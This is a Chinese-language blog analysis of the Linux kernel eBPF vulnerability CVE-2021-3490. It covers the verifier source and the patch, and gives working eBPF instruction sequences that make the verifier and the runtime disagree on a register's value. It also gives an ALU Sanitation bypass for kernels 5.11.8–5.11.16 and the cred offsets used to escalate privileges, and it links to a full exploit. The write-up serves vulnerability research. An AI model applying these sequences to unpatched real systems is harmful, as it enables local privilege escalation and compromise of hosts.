美文网首页
【kernel exploit】CVE-2021-3490 eB

【kernel exploit】CVE-2021-3490 eB

作者: bsauce | 来源:发表于2021-09-06 08:16 被阅读0次

    文章首发于安全客:CVE-2021-3490 eBPF 32位边界计算错误漏洞利用分析

    影响版本:Linux 5.7-rc1以后,Linux 5.13-rc4 以前; v5.13-rc4已修补,v5.13-rc3未修补。 评分7.8分。

    测试版本:Linux-5.11 和 Linux-5.11.16 exploit及测试环境下载地址https://github.com/bsauce/kernel-exploit-factory

    编译选项CONFIG_BPF_SYSCALL,config所有带BPF字样的。 CONFIG_SLAB=y

    General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

    在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

    $ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.11.16.tar.xz
    $ tar -xvf linux-5.11.16.tar.xz
    # KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
    $ make -j32
    $ make all
    $ make modules
    # 编译出的bzImage目录:/arch/x86/boot/bzImage。
    

    漏洞描述:Linux内核中按位操作(AND、OR 和 XOR)的 eBPF ALU32 边界跟踪没有正确更新 32 位边界,造成 Linux 内核中的越界读取和写入,从而导致任意代码执行。三个漏洞函数分别是 scalar32_min_max_and()scalar32_min_max_or()scalar32_min_max_xor()AND/OR 是在 Linux 5.7-rc1 中引入,XOR 是在 Linux 5.10-rc1中引入。

    补丁patch 若低32位都为 known,则调用 __mark_reg32_known(),将32位边界设置为reg的低32位(常数),保证最后更新边界时,有正确的边界。

    diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
    index 757476c91c984..9352a1b7de2dd 100644
    --- a/kernel/bpf/verifier.c
    +++ b/kernel/bpf/verifier.c
    @@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
      s32 smin_val = src_reg->s32_min_value;
      u32 umax_val = src_reg->u32_max_value;
     
    - /* Assuming scalar64_min_max_and will be called so its safe
    -  * to skip updating register for known 32-bit case.
    -  */
    - if (src_known && dst_known)
    + if (src_known && dst_known) {
    +   __mark_reg32_known(dst_reg, var32_off.value);
        return;
    + }
     
      /* We get our minimum from the var_off, since that's inherently
       * bitwise.  Our maximum is the minimum of the operands' maxima.
    @@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
        dst_reg->s32_min_value = dst_reg->u32_min_value;
        dst_reg->s32_max_value = dst_reg->u32_max_value;
      }
    -
     }*/
     
    static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
    {
      reg->var_off = tnum_const_subreg(reg->var_off, imm);
      reg->s32_min_value = (s32)imm;
      reg->s32_max_value = (s32)imm;
      reg->u32_min_value = (u32)imm;
      reg->u32_max_value = (u32)imm;
    }
    

    保护机制:开启KASLR/SMEP/SMAP。

    利用总结:利用verifier阶段与runtime执行阶段的不一致性,进行越界读写。泄露内核基址、伪造函数表、实现任意读写后篡改本线程的cred。


    1. 漏洞分析

    参考:BPF介绍和相似漏洞分析,可参考CVE-2020-8835利用,里面也有var_off 也即tnum结构的含义。总之,其成员 value 表示确定的值,mask 对应的位是1则表示该位不确定。

    漏洞根源:eBPF指令集可以对64位寄存器或低32位进行操作,verifier也会对低32位进行范围追踪:{u,s}32_{min,max}_value。每次进行指令操作,有两个函数会分别更新64位和32位的边界,在 adjust_scalar_min_max_vals() 中调用这两个函数。很多BPF漏洞都出现在对32位边界的处理上。CVE-2021-3490也出现在32位运算 BPF_ANDBPF_ORBPF_XOR 中。

    1-1 代码跟踪

    漏洞调用链adjust_scalar_min_max_vals() -> scalar32_min_max_and()

    *
    /* WARNING: This function does calculations on 64-bit values, but  * the actual execution may occur on 32-bit values. Therefore,      * things like bitshifts need extra checks in the 32-bit case.
    */
    static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                          struct bpf_insn *insn,
                                          struct bpf_reg_state 
                                                      *dst_reg,
                                          struct bpf_reg_state src_reg)
    {
    ...
            case BPF_AND:
                    dst_reg->var_off = tnum_and(dst_reg->var_off,       
                    src_reg.var_off);
                    scalar32_min_max_and(dst_reg, &src_reg);  // [1] <--- 漏洞点
                    scalar_min_max_and(dst_reg, &src_reg);
                    break;
            case BPF_OR:
                    dst_reg->var_off = tnum_or(dst_reg->var_off,  
                    src_reg.var_off);
                    scalar32_min_max_or(dst_reg, &src_reg);   // <--- 漏洞点
                    scalar_min_max_or(dst_reg, &src_reg);
                    break;
            case BPF_XOR:
                    dst_reg->var_off = tnum_xor(dst_reg->var_off,   
                    src_reg.var_off);
                    scalar32_min_max_xor(dst_reg, &src_reg);  // <--- 漏洞点
                    scalar_min_max_xor(dst_reg, &src_reg);
                    break;
                    
    ...
        __update_reg_bounds(dst_reg);             // [2]
      __reg_deduce_bounds(dst_reg);
      __reg_bound_offset(dst_reg);
      return 0;
    }        
    

    [1]: 对比32位和64位的BPF_AND操作。低32位 BPF_AND 中,若 src_regdst_reg 都为 known,则不用更新32位的边界(开发者假设,反正之后还是会调用 scalar_min_max_and() -> __mark_reg_known() 来标记寄存器的,所以暂时不用处理),直接返回。64位 BPF_AND 中,若 src_regdst_reg 都为 known,则调用 __mark_reg_known() 将寄存器标记为 known。

    问题scalar32_min_max_and() 32位中,*_known 变量是调用 tnum_subreg_is_const() 来计算的,而 scalar_min_max_and() 64位中是调用 tnum_is_const() 来计算的。区别是,前者只判断低32位的 tnum->mask 来判断是否为 known,后者则判断整个64位是否为 known。如果某个寄存器的高32位不确定,而低32位是确定的,则 scalar_min_max_and() 也不会调用 __mark_reg_known() 来标记寄存器。

    static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
                                     struct bpf_reg_state *src_reg)
    {
        bool src_known = tnum_subreg_is_const(src_reg->var_off);
        bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
        struct tnum var32_off = tnum_subreg(dst_reg->var_off);
        s32 smin_val = src_reg->s32_min_value;
        u32 umax_val = src_reg->u32_max_value;
    
    
        /* Assuming scalar64_min_max_and will be called so its safe
        * to skip updating register for known 32-bit case.   开发者假设,反正之后还是会调用scalar_min_max_and() -> __mark_reg_known() 来标记寄存器的,所以暂时不用处理,直接返回。但是如果某个寄存器的高32位不确定,而低32位是确定的,则 scalar_min_max_and() 不会调用 __mark_reg_known()。
        */
        if (src_known && dst_known)
            return;
    ...
    }
    
    static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
                                  struct bpf_reg_state *src_reg)
    {
        bool src_known = tnum_is_const(src_reg->var_off);
        bool dst_known = tnum_is_const(dst_reg->var_off);
        s64 smin_val = src_reg->smin_value;
        u64 umin_val = src_reg->umin_value;
    
        if (src_known && dst_known) {
                __mark_reg_known(dst_reg, dst_reg->var_off.value);
                return;
        }
      ...
    }
    

    [2]:接着 adjust_scalar_min_max_vals() 会调用以下三个函数来更新 dst_reg 寄存器的边界。每个函数都包含32位和64位的处理部分,我们这里只关心32位的处理部分。reg 的边界是根据当前边界和 reg->var_off 来计算的。

    // __update_reg32_bounds() —— min边界是取 min{当前min边界、reg确定的值},会变大;max边界是取 max{当前max边界,reg确定的值},会变小。
    static void __update_reg32_bounds(struct bpf_reg_state *reg)
    {
        struct tnum var32_off = tnum_subreg(reg->var_off);
    
        /* min signed is max(sign bit) | min(other bits) */
        reg->s32_min_value = max_t(s32, reg->s32_min_value,
                                   var32_off.value | (var32_off.mask & 
                                   S32_MIN));
            
         /* max signed is min(sign bit) | max(other bits) */
         reg->s32_max_value = min_t(s32, reg->s32_max_value,
                                    var32_off.value | (var32_off.mask & 
                                    S32_MAX));
         reg->u32_min_value = max_t(u32, reg->u32_min_value,
                                   (u32)var32_off.value);
         reg->u32_max_value = min(reg->u32_max_value,
                                 (u32)(var32_off.value |
                                  var32_off.mask));
    }
    // __reg32_deduce_bounds() —— 接着用符号和无符号边界来互相更新
    /* Uses signed min/max values to inform unsigned, and vice-versa */
    static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
    {
        /* Learn sign from signed bounds.
         * If we cannot cross the sign boundary, then signed and
         * unsigned bounds
         * are the same, so combine.  This works even in the
         * negative case, e.g.
         * -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
         */
        if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
                reg->s32_min_value = reg->u32_min_value =
                            max_t(u32, reg->s32_min_value, 
                            reg->u32_min_value);
                    reg->s32_max_value = reg->u32_max_value =
                            min_t(u32, reg->s32_max_value, 
                            reg->u32_max_value);
                    return;
        }
    ...
    }
    // __reg_bound_offset() —— 最后,用无符号边界来更新 var_off
    static void __reg_bound_offset(struct bpf_reg_state *reg)
    {
        struct tnum var64_off = tnum_intersect(reg->var_off,  // tnum_intersect() —— 组合两个tnum参数
                                tnum_range(reg->umin_value,   // tnum_range() —— 返回一个tnum,表示给定范围内,所有可能的值。
                                           reg->umax_value));                
        struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),tnum_range(reg->u32_min_value, reg->u32_max_value));
    
        reg->var_off = tnum_or(tnum_clear_subreg(var64_off), 
                                                 var32_off);
    }
    

    1-2 触发漏洞

    BPF代码示例:例如指令BPF_ALU64_REG(BPF_AND, R2, R3),对 R2 和 R3 进行与操作,并保存到 R2。

    • R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1},表示R2低32位已知为1,高32位未知。由于低32位已知,所以其32位边界也为1。
    • R3->var_off = {mask = 0x0; value = 0x100000002},表示其整个64位都已知,为 0x100000002

    更新R2的32位边界的步骤如下:

    • 先调用 adjust_scalar_min_max_vals() -> tnum_and()R2->var_offR3->var_off 进行AND操作,并保存到 R2->var_off结果 R2->var_off = {mask = 0x100000000; value = 0x0},由于R3是确定的且R2高32位不确定,所以运算后,只有第32位是不确定的。

      struct tnum tnum_and(struct tnum a, struct tnum b)
      {
        u64 alpha, beta, v;
      
        alpha = a.value | a.mask;
        beta = b.value | b.mask;
        v = a.value & b.value;
        return TNUM(v, alpha & beta & ~v);
      }
      
    • 再调用 adjust_scalar_min_max_vals() -> scalar32_min_max_and(),会直接返回,因为R2和R3的低32位都已知。

    • 再调用 adjust_scalar_min_max_vals() -> __update_reg_bounds() -> __update_reg32_bounds() ,会设置 u32_max_value = 0,因为 var_off.value = 0 < u32_max_value = 1。同时,设置 u32_min_value = 1,因为 var_off.value = 0 < u32_min_value。带符号边界也一样。

    • __reg32_deduce_bounds()__reg_bound_offset() 对边界不作任何改变。最后得到寄存器 R2 — {u,s}32_max_value = 0 < {u,s}32_min_value = 1

    1-3 调试BPF的方法

    写和调试BPF程序:可使用rbpf

    verifier 日志输出:加载BPF程序时进行如下设置,即可在verifier检测出指令错误时输出指令信息。正常调试时,可以下源码断点,断在do_check() 函数中,具体观察 verifier 检查每条指令时寄存器的状态。

    char verifier_log_buff[0x200000] = {0};   // 这段缓冲区必须足够大,否则会出错
    union bpf_attr prog_attrs =
    {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = cnt,
        .insns = (uint64_t)insn,
        .license = (uint64_t)"",
        .log_level = 2,             // 设置为 1 时,就能输出简洁的指令信息
        .log_size = sizeof(verifier_log_buff),
        .log_buf = verifier_log_buff
    };
    // 输出示例
    34: (bf) r6 = r3
    35: R0_w=invP0 R2_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R3_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R4_w=invP0 R5_w=invP4294967298 R6_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R7_w=invP(id=0) R10=fp0 fp-8=mmmm????
    35: (7b) *(u64 *)(r2 +8) = r6
    R6 leaks addr into map
    

    runtime调试:如果BPF通过了verifier检查,如何获取BPF程序运行时的信息呢?答案是插桩。ALU Sanitation也是运行时检查指令执行情况的保护机制,可以通过插桩观察BPF指令是否已经改变。这里需要了解一个编译选项,编译时设置CONFIG_BPF_JIT,则BPF程序在verifier验证后是JIT及时编译的;如果不设置该选项,则采用eBPF解释器来解码并执行BPF程序,代码位于kernel/bpf/core.c:___bpf_prog_run()

    regs指向寄存器值,insn指向指令。为了获取每条指令执行时的寄存器状态,可以关闭CONFIG_BPF_JIT选项并插入printk语句。示例如下:

    static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn)
    {
    ...
        int lol = 0;
       
       // Check the first instruction to match the first instruction of  
       // the target eBPF program to debug, so output isn't printed for  
       // every eBPF program that is ran. 只打印部分指令的信息
        if(insn->code == 0xb7)
        {
            lol = 1;
        }
    
    
    select_insn:
            if(lol)
            {
                printk("instruction is: %0x\n", insn->code);
                printk("r0: %llx, r1: %llx, r2: %llx\n", regs[0], 
                regs[1], regs[2]);
                ...
            }
            goto *jumptable[insn->code];
    ...
    }
    

    2. 漏洞利用 Linux v5.11.7 及以前版本

    特点:我们采用Linux v5.11 版本的内核进行测试,特点是不需要绕过一种ALU Sanitation,之后我们会详细介绍。

    总目标:构造 r6 寄存器,使得 verifier 认为 r6 等于0,但实际执行时等于1。

    2-1 触发漏洞

    首先,我们需要构造出两个寄存器的值状态,分别为var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}var_off = {mask = 0x0; value = 0x100000002}。然后触发漏洞,得到 r6u32_max_value = 0 < u32_min_value = 1

    注意:实际从map传入的 r5 = r6 = 0

    // (1) 构造 r6: var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
            BPF_MAP_GET(0, BPF_REG_5),            // (79) r5 = *(u64 *)(r0 +0) 从MAP传入值,这样其 mask=0xffffffffffffffff
            BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),      // (bf) r6 = r5
    
            BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF),      // (18) r2 = 0xffffffff
            BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),      // (67) r2 <<= 32     0xFFFFFFFF00000000
            BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // (5f) r6 &= r2  高32位unknown, 低32位known为0
            BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),     // (07) r6 += 1  {mask = 0xFFFFFFFF00000000, value = 0x1}
    
    // (2) 构造 r2: var_off = {mask = 0x0; value = 0x100000002}
            BPF_LD_IMM64(BPF_REG_2, 0x1),         // (18) r2 = 0x1
            BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),      // (67) r2 <<= 32       0x10000 0000
            BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 2),     // (07) r2 += 2  {mask = 0x0; value = 0x100000002}
    
    // (3) trigger the vulnerability
            BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8),   // (5f) r6 &= r2    r6: u32_min_value=1, u32_max_value=0
    

    2-2 构造 verifier:0 tuntime:1

    // (4) 构造 r5 (r5也是MAP载入的值——0): u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
            BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1),    // (b6) if w5 <= 0x1 goto pc+1   r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
        BPF_EXIT_INSN(),
    // (5) 构造 r6:   verifier:0  tuntime:1
            BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),     // (07) r6 += 1     r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
        BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // (0f) r6 += r5   r6: verify:2   fact:1   !!!!!!!!!!!!!!!!!!!!!!!
        BPF_MOV32_REG(BPF_REG_6, BPF_REG_6),      // (bc) w6 = w6    32位扩展为64位
        BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),     // (57) r6 &= 1    r6: verify:0   fact:1 
    

    r6 += r5分析:目前寄存器状态,r6—u32_min_value=2, u32_max_value=1, var_off = {mask = 0x100000000; value = 0x1},r5—u32_min_value=0, u32_max_value=1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}

    static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                          struct bpf_insn *insn,
                                          struct bpf_reg_state 
                                                 *dst_reg,
                                          struct bpf_reg_state src_reg)
    {
      ...
        switch (opcode) {
            case BPF_ADD:
                scalar32_min_max_add(dst_reg, &src_reg);    // [1] <---------
                scalar_min_max_add(dst_reg, &src_reg);
                dst_reg->var_off = tnum_add(dst_reg->var_off, 
                                            src_reg.var_off);
                break;
    
    ...
        __update_reg_bounds(dst_reg);             // [2]
      __reg_deduce_bounds(dst_reg);             // [3]
      __reg_bound_offset(dst_reg);              // [4]
      return 0;
    }
    // [1] 由于r5的低32位是0或1,r6的低32位是1,所以相加结果为1或2,所以低32位的1、2位都为unknown。其mask=0xffffffff 00000003
    static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
                                     struct bpf_reg_state *src_reg)
    {
        s32 smin_val = src_reg->s32_min_value;
        s32 smax_val = src_reg->s32_max_value;
        u32 umin_val = src_reg->u32_min_value;
        u32 umax_val = src_reg->u32_max_value;
    
    ...
        if (dst_reg->u32_min_value + umin_val < umin_val ||
            dst_reg->u32_max_value + umax_val < umax_val) {   // 判断是否越界
                dst_reg->u32_min_value = 0;
                dst_reg->u32_max_value = U32_MAX;
            } else {
                dst_reg->u32_min_value += umin_val;       // 没越界则直接相加,min+min, max+max
                dst_reg->u32_max_value += umax_val;
            }
    }
    

    接着 adjust_scalar_min_max_vals() 会调用 __update_reg_bounds()__reg_deduce_bounds()__reg_bound_offset()

    • __update_reg32_bounds()中,var_off 表示低32位,reg->u32_min_value = max{2, 0} = 2reg->u32_max_value = min{2, 0 | 0x3} = 2var32_off.mask = 3)。
    • __reg32_deduce_bounds() 未做修改,因为 signed 32unsigned 32都相等。
    • __reg32_deduce_bounds() 中,tnum_range()返回常数2(因为u32_min_value = u32_max_value=2该范围内只有2),由于reg->var_off.mask = 0x3,所以 tnum_intersect() 返回低2位是 known且为2。

    最终得到 r6: {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}

    // [2] __update_reg32_bounds()
    reg->u32_min_value = max_t(u32, reg->u32_min_value,
                              (u32)var32_off.value);
    reg->u32_max_value = min(reg->u32_max_value,
                             (u32)(var32_off.value | var32_off.mask));  // var32_off.mask=0x3
    // [4] __reg32_deduce_bounds()
    struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off), // tnum_subreg取低32位
                                         tnum_range(reg->u32_min_value, // 根据min、max返回一个tnum结构
                                         reg->u32_max_value));
    struct tnum tnum_intersect(struct tnum a, struct tnum b)
    {
      u64 v, mu;
    
      v = a.value | b.value;                      // 简单的整合
      mu = a.mask & b.mask;
      return TNUM(v & ~mu, mu);
    }
    

    此时的 r6—{mask = 0xFFFFFFFF00000000; value = 0x2} verifier:2 runtime:1,只需取低32位并 AND 1,即可得到 verifier:0 runtime:1

    2-3 提权

    后面的利用步骤和CVE-2021-31440一样,参照 CVE-2021-31440 eBPF边界计算错误漏洞 的exp即可提权。


    3. 漏洞利用 Linux v5.11.8 - 5.11.16 版本

    特点:我们采用 Linux v5.11.16 版本的内核进行测试,Ubuntu 21.04就是这个版本。2021年3月修复了一个verifier计算alu_limit(与ALU Sanitation安全机制有关)时的整数溢出漏洞——commit 10d2bb2e6b1d8c,导致 Linux 5.11.8 - 5.11.16 这个版本区间的内核无法利用成功。当alu_limit = 0时会触发该漏洞,例如,当对map地址指针进行减法操作时(之前exp这么写,是为了构造越界访问,如泄露内核基址,或者修改map内存之前的 bpf_map 结构),会加入如下sanitation指令:0-1 将得到 aux→alu_limit = 0xFFFFFFFF

    *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
    

    这个漏洞的存在,导致ALU Sanitation机制失效了,因为 alu_limit 变得很大了,检测不到越界访问,所以之前那些公开的exp都能利用成功。但是这个漏洞被修复以后,就需要绕过这个限制,需要多加5条指令来绕过该机制。

    绕过该ALU Sanitationr7指向map,r6verifier以为是0而运行时为1的那个值。需要在r7指针进行运算前,使alu_limit != 0

    • (1)r8 = r6 先拷贝一下—— r8 verifier:0 runtime:1
    • (2)r7 += 0x1000,map指针加上一个常量,以设置alu_limit=0x1000,这样就能绕过运行时的ALU Sanitation
    • (3)r8 = r8 * 0xfff—— r8 verifier:0 runtime:0xfff
    • (4)r7 -= r8, 由于verifier以为r8等于0,所以alu_limit保持不变。
    • (5)r7 -= r6 —— r7 verifier:map+0x1000 runtime:map

    注意

    • 创建map时必须足够大,调用syscall(__NR_BPF, BPF_MAP_CREATE, ...)时第3个参数 bpf_attr->value_size要大于0x1000,不然执行第2条指令时就会报指针越界的错误。

          BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),          // 1-1. (bf) r8 = r6  BPF_REG_3 = BPF_REG_6   !!! 1-1 -> 1-5  是为了绕过alu_limit的限制
          BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),        // 1-2. (07) r7 += 0x1000       !!! 注意,map不能过小,小于0x1000 就报错
          BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xfff),       // 1-3. verifier: r8=0;    runtime: r8=0x1000-1
          BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),     // 1-4. r7 -= r8
          BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),       // 1-5. r7 -= r6
      
    • Linux v5.11 版本相比,还需要修改cred search的相关偏移:

      gef➤  p/x &(*(struct task_struct *)0)->pid
      $9 = 0x918
      gef➤  p/x &(*(struct task_struct *)0)->cred
      $10 = 0xad8
      gef➤  p/x &(*(struct task_struct *)0)->tasks
      $11 = 0x818
      

    4. 漏洞利用 Linux v5.11.16以后的版本

    特点:目前无法绕过最新的ALU Sanitation保护机制。2021年4月ALU Sanitation引入新的 patch—commit 7fedb63a8307,新增了两个特性。

    • 一是alu_limit计算方法变了,不再用指针寄存器的位置来计算,而是使用offset寄存器。例如,假设有个寄存器的无符号边界是 umax_value = 1, umin_value = 0,则计算出 alu_limit = 1,表示如果该寄存器在运行时超出边界,则指针运算不会使用该寄存器。

    • 二是在runtime时会用立即数替换掉 verifier 认定为常数的寄存器。例如,BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG)EXPLOIT_REG被verifier认定为0,但运行时为1,则 将该指令改为 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)。这个补丁本来是为了防侧信道攻击,同时也阻止了 CVE-2021-3490 漏洞的利用。

      // 以下补丁可看出,如果不确定offset寄存器是否为常量,则根据其alu_limit进行检查;如果确定其为常量,则用其常量值将其操作patch为立即数指令。
      bool off_is_imm = tnum_is_const(off_reg->var_off);
      alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0;
      isimm = aux->alu_state & BPF_ALU_IMMEDIATE;
      ...
      if (isimm) {
              *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
          } else {
               // Patch alu_limit check instructions
               ....
           }
      

    检查发现,v5.11.17 已打该补丁,v5.11.16 未打该补丁。所以 v5.11.16 以上版本的内核就无法利用漏洞进行越界读写,不知道以后能不能绕过这个限制。


    5. ALU Sanitation机制

    原理ALU sanitation机制一直在进行更新,其目的是为了阻止verifier漏洞的利用,原理是在runtime运行时检查BPF指令的操作数,防止指针运算越界导致越界读写,其实是对verifier静态范围检查起到了补充的作用。

    如果某条ALU运算指令的操作数是1个指针和1个标量,则计算alu_limit 也即最大绝对值,就是该指针可以进行加减的安全范围。在该指令之前必须加上如下指令,off_reg表示与指针作运算的标量寄存器,BPF_REG_AX是辅助寄存器。

    • (1)将alu_limit载入BPF_REG_AX
    • (2)BPF_REG_AX = alu_limit - off_reg,如果 off_reg > alu_limit,则BPF_REG_AX最高位符号位置位。
    • (3)若BPF_REG_AUX为正,off_reg为负,则表示alu_limit和寄存器的值符号相反,则BPF_OR操作会设置该符号位。
    • (4)BPF_NEG会使符号位置反,1->0,0->1。
    • (5)BPF_ARSH算术右移63位,BPF_REG_AX只剩符号位。
    • (6)根据以上运算结果,BPF_AND要么清零off_reg要么使其不变。

    总体看来,如果off_reg > alu_limit 或者二者符号相反,表示有可能发生指针越界,则off_reg会被替换为0,清空指针运算。反之,如果标量在合理范围内—0 <= off_reg <= alu_limit,则算术移位会将BPF_REG_AX填为1,这样BPF_AND运算不会改变该标量。

    *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
    *patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
    *patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
    *patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
    *patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
    *patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);
    

    最近更新:最近更新了alu_limit的计算方法,见commit 7fedb63a8307d,这里我们对比一下更新前后的计算差异。

    • 之前:alu_limit由指针寄存器的边界确定,如果指针指向map的开头,则alu_limit可减的大小为0,可加的大小为 map size-1,并且alu_limit随着接下来的指针运算而更新。
    • 现在:alu_limitoffset寄存器的边界来确定,将运行时offset寄存器的值与verifier静态范围追踪时计算出来的边界进行比较。

    参考

    Kernel Pwning with eBPF: a Love Story

    https://nvd.nist.gov/vuln/detail/CVE-2021-3490

    https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490

    相关文章

      网友评论

          本文标题:【kernel exploit】CVE-2021-3490 eB

          本文链接:https://www.haomeiwen.com/subject/ipcewltx.html